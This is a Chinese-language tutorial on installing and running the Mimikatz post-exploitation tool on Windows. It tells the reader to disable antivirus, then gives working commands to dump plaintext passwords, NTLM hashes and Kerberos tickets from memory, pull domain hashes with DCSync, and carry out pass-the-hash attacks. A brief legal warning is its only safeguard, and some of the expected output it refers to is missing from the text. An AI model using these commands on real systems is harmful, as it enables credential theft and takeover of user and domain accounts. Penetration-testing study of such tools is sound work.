如何在 Windows OS 上安装和使用 Mimikatz

介绍

Mimikatz 是一款强大的 post-exploitation 工具，旨在从内存中提取明文密码、hash、PIN 码和 Kerberos tickets。它被渗透测试人员和安全专业人员广泛用于评估系统漏洞。本指南提供了安装和使用 Mimikatz 进行道德安全测试的分步方法。

警告：未经授权使用 Mimikatz 是非法的。在任何环境中使用之前，请确保您已获得许可。

先决条件

在安装 Mimikatz 之前，请确保您具备以下条件：

• 一台 Windows 机器（Windows 7、10、11 或 Server 版本）
• 管理员权限
• 已禁用 Windows Defender 和任何 antivirus 软件（Mimikatz 经常被标记为 malware）

下载 Mimikatz

Mimikatz 是一个可在 GitHub 上获取的开源工具。要下载它：

1. 打开 web browser 并访问 https://github.com/gentilkiwi/mimikatz。
2. 点击 Code > Download ZIP。
3. 将 ZIP 文件解压到您选择的文件夹中。

或者，您也可以使用 Git 克隆 repository：

 git clone https://github.com/gentilkiwi/mimikatz.git

运行 Mimikatz

由于 Mimikatz 需要管理员权限，请按照以下步骤运行它：

1. 以管理员身份打开 Command Prompt 或 PowerShell。
2. 导航到您解压 Mimikatz 的文件夹：

   cd pathtomimikatzx64

3. 运行 Mimikatz：

   mimikatz.exe

4. 您应该会看到一个带有
   mimikatz #

   提示符的命令行界面。

基本 Mimikatz 命令

1. 检查系统权限

在提取凭据之前，请验证您是否具有足够的权限：

privilege::debug

如果成功，您应该会看到：

2. 从内存中提取密码

要从内存中转储明文密码，请使用：

sekurlsa::logonpasswords

如果可用，这将显示用户名、域和明文密码。

3. 转储 NTLM hash

NTLM hash 可用于 pass-the-hash 攻击。要提取它们，请运行：

lsadump::sam

或者，对于远程系统：

lsadump::dcsync /domain:targetdomain.com /user:Administrator

4. Kerberos Ticket 提取

要从系统中检索 Kerberos tickets：

sekurlsa::tickets /export

这将导出

文件，可用于 pass-the-ticket 攻击。

5. Pass-the-Hash 攻击

要使用 NTLM hash 而不是密码进行身份验证：

sekurlsa::pth /user:Administrator /domain:example.com /ntlm:<hash>